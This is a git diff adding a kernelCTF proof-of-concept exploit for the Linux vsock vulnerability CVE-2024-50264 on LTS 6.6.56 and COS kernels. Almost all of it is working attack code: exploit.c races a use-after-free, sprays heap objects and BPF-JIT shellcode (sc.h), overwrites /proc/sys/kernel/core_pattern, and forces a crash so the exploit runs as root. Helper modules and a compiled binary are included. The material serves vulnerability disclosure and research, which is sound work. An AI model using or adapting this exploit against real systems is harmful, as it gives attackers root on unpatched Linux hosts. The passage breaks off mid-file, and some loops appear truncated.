MODULES_CONFIG_IS_XATTR_RBTREE 1 + +#if MODULES_CONFIG_IS_XATTR_RBTREE + +#ifndef MODULES_RB_NODE +#define MODULES_RB_NODE + +#define RB_RED 0 +#define RB_BLACK 1 + +struct rb_node { + uint64_t __rb_parent_color; + struct rb_node *rb_right; + struct rb_node *rb_left; +}; +#endif + +struct simple_xattr { + struct rb_node rb_node; + char * name; + size_t size; + char value[]; +}; + +#else +#ifndef MODULES_LIST_HEAD +#define MODULES_LIST_HEAD +struct list_head { + struct list_head *next, *prev; +}; +#endif + +struct simple_xattr { + struct list_head list; + char * name; + size_t size; + char value[]; +}; + +#endif + +struct xattr_return { + uint64_t size; + char *value; +}; + +#define XATTR_HEADER_SIZE sizeof(struct simple_xattr) +#define XATTR_VALUE_KMALLOC_CG_64 (0x40 - XATTR_HEADER_SIZE) +#define XATTR_VALUE_KMALLOC_CG_96 (0x60 - XATTR_HEADER_SIZE) +#define XATTR_VALUE_KMALLOC_CG_128 (0x80 - XATTR_HEADER_SIZE) +#define XATTR_VALUE_KMALLOC_CG_192 (0xc0 - XATTR_HEADER_SIZE) +#define XATTR_VALUE_KMALLOC_CG_256 (0x100 - XATTR_HEADER_SIZE) +#define XATTR_VALUE_KMALLOC_CG_512 (0x200 - XATTR_HEADER_SIZE) +#define XATTR_VALUE_KMALLOC_CG_1K (0x400 - XATTR_HEADER_SIZE) +#define XATTR_VALUE_KMALLOC_CG_2K (0x800 - XATTR_HEADER_SIZE) +#define XATTR_VALUE_KMALLOC_CG_4K (0x1000 - XATTR_HEADER_SIZE) +#define XATTR_VALUE_KMALLOC_CG_8K (0x2000 - XATTR_HEADER_SIZE) +#define XATTR_VALUE_KMALLOC_CG_16K (0x4000 - XATTR_HEADER_SIZE) +#define XATTR_VALUE_KMALLOC_CG_32K (0x8000 - XATTR_HEADER_SIZE) + +#define XATTR_PREFIX_USER "user." +#define XATTR_PREFIX_SYSTEM "system." +#define XATTR_PREFIX_TRUSTED "trusted." +#define XATTR_PREFIX_SECURITY "security." + +char *gen_xattr_name(char *prefix, char *name); +char *gen_xattr_name_fixed_sz(char *prefix, char *name, size_t sz); + +int create_xattr(char *fname, char *name, char *value, uint64_t objectsz, bool panic_on_warn); +struct xattr_return *read_xattr(char *fname, char *name); +int remove_xattr(char *fname, char *name, bool panic_on_warn); +void remove_xattr_noerror(char *fname, char *name); + +#if MODULES_CONFIG_IS_XATTR_RBTREE +struct simple_xattr *fake_xattr(bool color, struct rb_node *parent, struct rb_node *right, struct rb_node *left, char *name, size_t size, char *value, uint64_t valuesz); +#else +struct simple_xattr *fake_xattr(struct list_head *next, struct list_head *prev, char *name, size_t size, char *value, uint64_t valuesz); +#endif + +#endif \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/sc.h b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/sc.h new file mode 100644 index 00000000..e3f59287 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/sc.h @@ -0,0 +1,51 @@ +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90d0ff}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c14e7c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c70b740}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90ff31}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cf02948}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c20b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cb2b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c6eb640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c00b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90f631}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c909058}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90d0ff}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c909050}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c9030b2}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90d231}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c10e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3ca0b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90f631}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cd08948}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cf22948}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cc0b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c7fb640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c45b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c02b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90f631}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cd78948}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cf20148}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3ca0b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c43b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c7bb640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c01b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90f631}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cc20148}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3ce2d348}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c9020b1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90c931}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90320f}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c9082b1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c18e1c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90c0b1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90d231}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90c931}; \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/Makefile b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/Makefile new file mode 100644 index 00000000..dd9d4d45 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/Makefile @@ -0,0 +1,26 @@ +# define complier type +CC = gcc +# compile options setting +CFLAGS = -O2 -static -w +# library link & option setting +LDFLAGS = -lkeyutils + +SUBDIRS = modules + +prerequisites: + sudo apt-get install libkeyutils-dev + +clean_subdirs: + @for dir in $(SUBDIRS); do \ + $(MAKE) -C $$dir clean; \ + done + +exploit: exploit.c modules/helper.o modules/pipe.o modules/xattr.o modules/msg_msg.o modules/keyring.o + $(CC) $(CFLAGS) $^ -o $@ $(LIBS) $(INCLUDES) $(LDFLAGS) + +all: + $(MAKE) exploit + +clean: + $(MAKE) clean_subdirs + rm -f *.o exploit \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/exploit b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/exploit new file mode 100644 index 00000000..8dede3c7 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/exploit.c b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/exploit.c new file mode 100644 index 00000000..e8b9dfbc --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/exploit.c @@ -0,0 +1,877 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +#include "modules/keyring.h" +#include "modules/xattr.h" +#include "modules/msg_msg.h" + +int* shared_mutex; + + +#define FAIL_IF(x) if ((x)) { \ + perror(#x); \ + return -1; \ +} +#define SPRAY_ERROR 0 +#define SPRAY_RETRY 1 +#define SPRAY_SUCCESS 2 + +#define LAST_RESERVED_PORT 1023 + +#define NS_PER_JIFFIE 1000000ull + +int cid_port_num = LAST_RESERVED_PORT; + +void *trigger_stack = NULL; +void *heap_spray_stack = NULL; +volatile int status_spray = SPRAY_ERROR; + +int timefds[0x500000]; +int epfds[0x500000]; +char buf[0x1000]; +int tfd; + +static void epoll_ctl_add(int epfd, int fd, uint32_t events) +{ + struct epoll_event ev; + ev.events = events; + ev.data.fd = fd; + epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &ev); +} + +void do_epoll_enqueue(int fd) +{ + int cfd[2]; + socketpair(AF_UNIX, SOCK_STREAM, 0, cfd); + for (int k = 0; k < 0x10; k++) + { + if (fork() == 0) + { + for (int i = 0; i < 0x300; i++) + { + timefds[i] = dup(fd); + } + for (int i = 0; i < 0x2c0; i++) + { + epfds[i] = epoll_create(0x1); + } + for (int i = 0; i < 0x2c0; i++) + { + for (int j = 0; j < 0x300; j++) + { + // queue as many as possible async waiters at timerfd waitqueue + epoll_ctl_add(epfds[i], timefds[j], 0); + } + } + write(cfd[1], buf, 1); + raise(SIGSTOP); // stop here for nothing and just keep epoll alive + } + // sync to make sure it has queue what we need + read(cfd[0], buf, 1); + } + close(cfd[0]); + close(cfd[1]); +} + +struct virtio_vsock_sock { + void *vsk; + int tx_lock; + int rx_lock; + int tx_cnt; + int peer_fwd_cnt; + int peer_buf_alloc; + int fwd_cnt; + int last_fwd_cnt; + int rx_bytes; + int buf_alloc; + char pad[4]; + char rx_queue[24]; + int msg_count; +}; +_Static_assert(sizeof(struct virtio_vsock_sock) == 80, "virtio_vsock_sock size missmatch"); + +union key_payload { + struct virtio_vsock_sock vvs; + struct { + char header[24]; + char data[]; + } key; +}; + +#define MAIN_CPU 0 +#define HELPER_CPU 1 + +inline static int _pin_to_cpu(int id) +{ + cpu_set_t set; + CPU_ZERO(&set); + CPU_SET(id, &set); + return sched_setaffinity(getpid(), sizeof(set), &set); +} + +unsigned long long get_jiffies() +{ + return times(NULL) * 10; +} + + +int random_in_range(int min, int max) +{ + return rand() % (max - min + 1) + min; +} +struct sock_filter filter[0x1000]; +char buf[0x1000]; +#define SYSCHK(x) \ + ({ \ + typeof(x) __res = (x); \ + if (__res == (typeof(x))-1) \ + err(1, "SYSCHK(" #x ")"); \ + __res; \ + }) + + +int check_core() +{ + // Check if /proc/sys/kernel/core_pattern has been overwritten + char buf[0x100] = {}; + int core = open("/proc/sys/kernel/core_pattern", O_RDONLY); + read(core, buf, sizeof(buf)); + close(core); + return strncmp(buf, "|/proc/%P/fd/666 %P", strlen("|/proc/%P/fd/666 %P")) == 0; +} + +int sc() +{ + int stopfd[2]; + SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, stopfd)); + unsigned int prog_len = 0x900; + /* In current environment, the max instructions in a program is near 0x900 + And we test 0x900 instructions * 0x50 forks * 0x100 sockets * 4 = 180 MB is enough large to spray and worked reliably + */ + struct sock_filter table[] = { + {.code = BPF_LD + BPF_K, .k = 0xb3909090}, + {.code = BPF_RET + BPF_K, .k = SECCOMP_RET_ALLOW}}; + + /* 0xb3909090 is NOPsled shellclode to make exploitation more reliable +90 nop +90 nop +90 nop +b3 b8 mov bl, 0xb8 +*/ + for (int i = 0; i < prog_len; i++) + filter[i] = table[0]; + + filter[prog_len - 1] = table[1]; + int idx = prog_len - 2; + +#include "sc.h" + + struct sock_fprog prog = { + .len = prog_len, + .filter = filter, + }; + + char buffer[0x1000]; + for (int k = 0; k < 0x50; k++) + { + if (fork() == 0) // use fork to bypass RLIMIT_NOFILE limit. + { + int fd[0x100][2]; + close(stopfd[1]); + for (int i = 0; i < 0x100; i++) + { + SYSCHK(socketpair(AF_UNIX, SOCK_DGRAM, 0, fd[i])); + SYSCHK(setsockopt(fd[i][0], SOL_SOCKET, + SO_ATTACH_FILTER, &prog, + sizeof(prog))); + } + write(stopfd[0], buf, 1); + while(*shared_mutex == 0) + sleep(1); + for (int i = 0; i < 0x100; i++) + { + // printf("run %d.%d!\n", k, i); + if(check_core()) + exit(0); + ssize_t bytes_written = write(fd[i][1], buffer, sizeof(buffer)); + ssize_t bytes_read = read(fd[i][0], buffer, sizeof(buffer)); + } + read(stopfd[0], buf, 1); + // exit(0); + } + } + /* wait for all forks to finish spraying BPF code */ + read(stopfd[1], buf, 0x50); + + return 0; +} + +int sockets[0x1000]; + +int sockets_child[0x1000]; + +#define CC_OVERFLOW_FACTOR 1 +#define OBJS_PER_SLAB 0x2a +#define CPU_PARTIAL 0x10 + +#define DRAIN_SLABS_CNT ((CPU_PARTIAL + 1) * CC_OVERFLOW_FACTOR) + +void alloc_sockets() +{ + for(int i=0; i < DRAIN_SLABS_CNT * OBJS_PER_SLAB; i++) + { + if((sockets[i] = socket(AF_VSOCK, SOCK_SEQPACKET, 0)) < 0) + { + perror("socket"); + exit(0); + } + + unsigned long size = 0xaabbccdd; + setsockopt(sockets[i], AF_VSOCK, SO_VM_SOCKETS_BUFFER_MIN_SIZE, &size, sizeof(size)); + size = 0; + setsockopt(sockets[i], AF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE, &size, sizeof(size)); + + struct timeval timeout = { + .tv_sec = 0, + .tv_usec = 1, + }; + if(setsockopt(sockets[i], AF_VSOCK, 8, &timeout, sizeof(struct timeval)) < 0) + { + perror("setsockopt"); + exit(0); + } + } +} + +union key_payload payload = {}; +union key_payload readout = {}; +key_serial_t keys[256] = {}; +const size_t payload_size = sizeof(payload.vvs) - sizeof(payload.key.header); + +int user_key_payload_counter = 0; +int user_key_payloads[0x1000]; +void generate_full_slabs_with_user_key_payload() +{ + struct sockaddr_vm connect_addr = {0}; + user_key_payload_counter = 0; + connect_addr.svm_family = AF_VSOCK; + connect_addr.svm_cid = VMADDR_CID_LOCAL; + + for(int t=0; tuser_key_payload_counter - (OBJS_PER_SLAB*2 + 1); i--) + remove_keyring(user_key_payloads[i]); + user_key_payload_counter -= OBJS_PER_SLAB*2 + 1; + clock_gettime(CLOCK_BOOTTIME , &tp); + printf("[%lld.%lld] free_victim_slab end\n", tp.tv_sec, tp.tv_nsec); +} + +void victim_slab_to_buddy() +{ + struct timespec tp; + // clock_gettime(CLOCK_BOOTTIME , &tp); + // printf("[%lld.%lld] victim_slab_to_buddy start\n", tp.tv_sec, tp.tv_nsec); + for(int i = 0; i < user_key_payload_counter; i++) + remove_keyring(user_key_payloads[i]); + clock_gettime(CLOCK_BOOTTIME , &tp); + printf("[%lld.%lld] victim_slab_to_buddy end\n", tp.tv_sec, tp.tv_nsec); +} + +#define SEQ_FILE_CNT 0x300 +int seqfd[SEQ_FILE_CNT]; + +void spray_seq_operations() +{ + struct timespec tp; + // clock_gettime(CLOCK_BOOTTIME , &tp); + // printf("[%lld.%lld] spray_seq_operations start\n", tp.tv_sec, tp.tv_nsec); + for (int i = 0; i < SEQ_FILE_CNT; i++) + seqfd[i] = open("/proc/self/stat", O_RDONLY); + clock_gettime(CLOCK_BOOTTIME , &tp); + printf("[%lld.%lld] spray_seq_operations end\n", tp.tv_sec, tp.tv_nsec); +} + +void cleanup_seqs() +{ + for (int i = 0; i < SEQ_FILE_CNT; i++) + close(seqfd[i]); +} + + +#define FILENAME_LEN 0x100 +#define FILENAME_PREFIX "/tmp/a" +#define XATTR_PADDING_STR "A" +void spray_xattrs(int uniquenum, int cnt) +{ + char file_name[FILENAME_LEN]; + char value_name[XATTR_VALUE_KMALLOC_CG_8K]; + char attribute_name[XATTR_VALUE_KMALLOC_CG_8K]; + struct timespec tp; + + // clock_gettime(CLOCK_BOOTTIME , &tp); + // printf("[%lld.%lld] spray_xattrs start\n", tp.tv_sec, tp.tv_nsec); + + snprintf(file_name, FILENAME_LEN, "%s-%08d", FILENAME_PREFIX, uniquenum); + close(creat(file_name, 0644)); + + for (uint64_t i = 0; i < cnt; i++) { + snprintf(value_name, XATTR_VALUE_KMALLOC_CG_8K, "security.value%05lu-%s", i, XATTR_PADDING_STR); + snprintf(attribute_name, XATTR_VALUE_KMALLOC_CG_8K, "security.attr%12lu-%s", 3, XATTR_PADDING_STR); + create_xattr(file_name, attribute_name, value_name, XATTR_VALUE_KMALLOC_CG_96, true); + } + + clock_gettime(CLOCK_BOOTTIME , &tp); + printf("[%lld.%lld] spray_xattrs end\n", tp.tv_sec, tp.tv_nsec); +} + +int kill_count = 1; +static inline size_t rdtsc_begin(void) +{ +#if defined(ARM64) + return rdtsc(); +#else + size_t a, d; + asm volatile ("mfence"); + asm volatile ("rdtsc" : "=a" (a), "=d" (d)); + a = (d<<32) | a; + asm volatile ("lfence"); + return a; +#endif +} + +static inline size_t rdtsc_end(void) +{ +#if defined(ARM64) + return rdtsc(); +#else + size_t a, d; + asm volatile ("lfence"); + asm volatile ("rdtsc" : "=a" (a), "=d" (d)); + a = (d<<32) | a; + asm volatile ("mfence"); + return a; +#endif +} + +// #define PHYS_LO_32 0x1000000 +// #define PHYS_LO_32 0x90000000 +uint64_t PHYS_LO_32 = 0x2200000; + +#define N_PAGESPRAY 0x500 +#define MMAP_SIZE 0x400000 +void *page_spray[N_PAGESPRAY]; + +int race_trigger(void *arg) +{ + struct sockaddr_vm connect_addr = {0}; + struct sockaddr_vm listen_addr = {0}; + struct sockaddr_vm dummy_addr = {0}; + pid_t conn_pid, listen_pid; + + alloc_sockets(); + + int socket_a = socket(AF_VSOCK, SOCK_SEQPACKET, 0); + int socket_b = socket(AF_VSOCK, SOCK_SEQPACKET, 0); + int socket_dummy1 = socket(AF_VSOCK, SOCK_SEQPACKET, 0); + int socket_dummy2 = socket(AF_VSOCK, SOCK_SEQPACKET, 0); + + cid_port_num++; + + connect_addr.svm_family = AF_VSOCK; + connect_addr.svm_cid = VMADDR_CID_LOCAL; + connect_addr.svm_port = cid_port_num; + + listen_addr.svm_family = AF_VSOCK; + listen_addr.svm_cid = VMADDR_CID_LOCAL; + listen_addr.svm_port = cid_port_num; + + bind(socket_a, (struct sockaddr *)&listen_addr, sizeof(listen_addr)); + + listen(socket_a, 1); + + unsigned long size = (PHYS_LO_32 | (0x067)) & (0xffffffff); + setsockopt(socket_a, AF_VSOCK, SO_VM_SOCKETS_BUFFER_MIN_SIZE, &size, sizeof(size)); + size = 0x1234; + setsockopt(socket_a, AF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE, &size, sizeof(size)); + + _pin_to_cpu(HELPER_CPU); + generate_full_slabs_with_user_key_payload(); + for (int i = 0; i < N_PAGESPRAY; i++) { + page_spray[i] = mmap((void*)(0xdead0000000UL + i*MMAP_SIZE), + MMAP_SIZE, PROT_READ|PROT_WRITE, + MAP_ANONYMOUS|MAP_SHARED, -1, 0); + if (page_spray[i] == MAP_FAILED) panic("mmap"); + } + + // drain_kmalloc_cg_32s(MSG_MSGSEG_CNT); + + int communicate_pipe[2]; + char comm_buf[4]; + pipe(communicate_pipe); + conn_pid = fork(); + int v = random_in_range(1, 10); + + if (conn_pid == 0) { + int vv = 0xffff; + char desc[16] = {}; + snprintf(desc, sizeof(desc) - 1, "-%d", ++vv); + add_key(KEYRING_TYPE_USER, desc, &payload, KEYRING_KMALLOC_96, KEY_SPEC_PROCESS_KEYRING); + + int *fds[0x28]; + for(int i=0; i<0x28; i++) + fds[i] = generate_spray_vvs_fd(OBJS_PER_SLAB); + int *checkfd = generate_spray_vvs_fd(OBJS_PER_SLAB); + int *remainfd = generate_spray_vvs_fd(OBJS_PER_SLAB); + for(int i=0; i<0x20; i++) + spray_vvs(fds[i], OBJS_PER_SLAB); + + uint64_t times[OBJS_PER_SLAB]; + uint64_t t0, t1; + snprintf(desc, sizeof(desc) - 1, "-%d", ++vv); + key_serial_t keyv; + for(int i=0; i=0; i--) + if(times[i] > 6000) + { + inuse = OBJS_PER_SLAB - i; + break; + } + + printf("inuse: %d\n", inuse); + usleep(10000); + + for(int i=inuse; i 1) + { + printf("triggered from core_pattern\n"); + root(argv[1]); + exit(0); + } + + alarm(120); + // PHYS_LO_32 = strtoll(argv[1], NULL, 0); + struct rlimit rlim = { + .rlim_cur = 4096, + .rlim_max = 4096}; + if(setrlimit(RLIMIT_NOFILE, &rlim) < 0) + { + perror("setrlimit failed"); + exit(EXIT_FAILURE); + } + + targetstr = (char *)mmap(0x12340000, 0x100, PROT_READ | PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, -1, 0); + strcpy(targetstr, "|/proc/%P/fd/666 %P"); + + memset(shellcode, 0x90, 0x100); + memcpy(shellcode + 0x100, overwrite_core_pattern_shellcode, 0x100); + + shared_mutex = mmap(NULL, sizeof(int), PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0); + *shared_mutex = 0; + sc(); + + tfd = timerfd_create(CLOCK_MONOTONIC, 0); + do_epoll_enqueue(tfd); + srand(time(NULL)); + memset(&payload, '?', sizeof(payload)); + + trigger_stack = mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); + FAIL_IF(trigger_stack == MAP_FAILED); + trigger_stack += 0x8000; + heap_spray_stack = mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); + FAIL_IF(heap_spray_stack == MAP_FAILED); + heap_spray_stack += 0x8000; + + do { + int spray_worker_pid = clone(heap_spraying, heap_spray_stack, CLONE_VM | SIGCHLD, NULL); + FAIL_IF(spray_worker_pid < 0); + FAIL_IF(waitpid(spray_worker_pid, NULL, 0) < 0); + } while (status_spray == SPRAY_RETRY); + + *shared_mutex = 1; + + while(true) + { + if(check_core()) + { + printf("core pattern changed!\n"); + char buf[0x100] = {}; + int core = open("/proc/sys/kernel/core_pattern", O_RDONLY); + read(core, buf, sizeof(buf)); + write(1, buf, sizeof(buf)); + if(!fork()) + { + int memfd = memfd_create("x", 0); + SYSCHK(sendfile(memfd, open("/proc/self/exe", 0), 0, + 0xffffffff)); + dup2(memfd, 666); + close(memfd); + // trigger crash + *(size_t *)0 = 0; + } + break; + } + sleep(1); + } + + while(true) + sleep(100); + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/.gitignore b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/.gitignore new file mode 100644 index 00000000..15309787 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/.gitignore @@ -0,0 +1 @@ +*.o \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/Makefile b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/Makefile new file mode 100644 index 00000000..77966f2a --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/Makefile @@ -0,0 +1,28 @@ +# https://github.com/qwerty-po/kernel_exploit_modules + +# define complier type +CC = gcc +# compile options setting +CFLAGS = -O2 -static +# library link & option setting + +msg_msg.o: msg_msg.c + $(CC) $(CFLAGS) -c $^ + +helper.o: helper.c + $(CC) $(CFLAGS) -c $^ + +xattr.o: xattr.c + $(CC) $(CFLAGS) -c $^ + +LDFLAGS = -lkeyutils +keyring.o: keyring.c + $(CC) $(CFLAGS) $(LDFLAGS) -c $^ + +pipe.o: pipe.c + $(CC) $(CFLAGS) -c $^ + +all: msg_msg.o helper.o xattr.o keyring.o pipe.o + +clean: + rm -f *.o \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/helper.c b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/helper.c new file mode 100644 index 00000000..8eb13ed1 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/helper.c @@ -0,0 +1,126 @@ +// https://github.com/qwerty-po/kernel_exploit_modules/helper.c + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include + +#include "helper.h" + +void panic(char *msg) +{ + perror(msg); + exit(-1); +} + +void print_hex_bytes(uint8_t *buf, int l, int r) +{ + for(int i = l; i < r; i+=0x10) + { + for(int j = 0; j < 0x10 && i + j < r; j++) + { + printf("%02x ", buf[i+j]); + } + printf("\n"); + } +} + +void print_hex_8bytes(uint64_t *buf, int l, int r) +{ + for(int i=l; ics), + [ss] "=r" (r->ss), + [rsp] "=r" (r->rsp), + [rflags] "=r" (r->rflags) + ); + + return r; +} + +uint64_t virt2page(uint64_t virt, uint64_t vmalloc_base, uint64_t vmemmap_base) { + assert((virt & 0xfff) == 0x000); + return (((virt - vmalloc_base) >> 0xc) << 0x6) + vmemmap_base; +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/helper.h b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/helper.h new file mode 100644 index 00000000..8e554041 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/helper.h @@ -0,0 +1,49 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include + +#ifndef MODULES_HELPER +#define MODULES_HELPER + +#define KMALLOC_16 (0x10) +#define KMALLOC_32 (0x20) +#define KMALLOC_64 (0x40) +#define KMALLOC_96 (0x60) +#define KMALLOC_128 (0x80) +#define KMALLOC_192 (0xc0) +#define KMALLOC_256 (0x100) +#define KMALLOC_512 (0x200) +#define KMALLOC_1K (0x400) +#define KMALLOC_2K (0x800) +#define KMALLOC_4K (0x1000) +#define KMALLOC_8K (0x2000) +#define KMALLOC_16K (0x4000) +#define KMALLOC_32K (0x8000) +#define KMALLOC_64K (0x10000) +#define KMALLOC_128K (0x20000) + +#define PAGE_SIZE KMALLOC_4K + +void print_hex_bytes(uint8_t *buf, int l, int r); +void print_hex_8bytes(uint64_t *buf, int l, int r); + +void cpu_affinity(int cpu); +void unshare_setup(int flags); + +void get_root(); + +void win(); +void get_shell(); + +struct regs { + uint64_t rax, rbx, rcx, rdx, rsi, rdi, rbp, rsp, rip, rflags; + uint64_t cs, ss, ds, es, fs, gs; +}; +struct regs *save_state(); + +uint64_t virt2page(uint64_t virt, uint64_t vmalloc_base, uint64_t vmemmap_base); + +#endif \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/keyring.c b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/keyring.c new file mode 100644 index 00000000..7a2de4cd --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/modules/keyring.c @@ -0,0 +1,61 @@ +// https://github.com/qwerty-po/kernel_exploit_modules/helper.c + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include + +#include + +#include "keyring.h" + +key_serial_t create_keyring(char *type, char *description, char *payload, uint64_t objectsz, key_serial_t ringid) +{ + key_serial_t keyring = add_key(type, description, payload, objectsz, ringid); + if(keyring < 0) + perror("add_key"); + return keyring; +} + +key_serial_t create_spec_keyring(char *type, char *description, char *payload, uint64_t objectsz) +{ + return create_keyring(type, description, payload, objectsz, KEY_SPEC_PROCESS_KEYRING); +} + +key_serial_t create_simple_keyring(char *payload, uint64_t objectsz) +{ + return 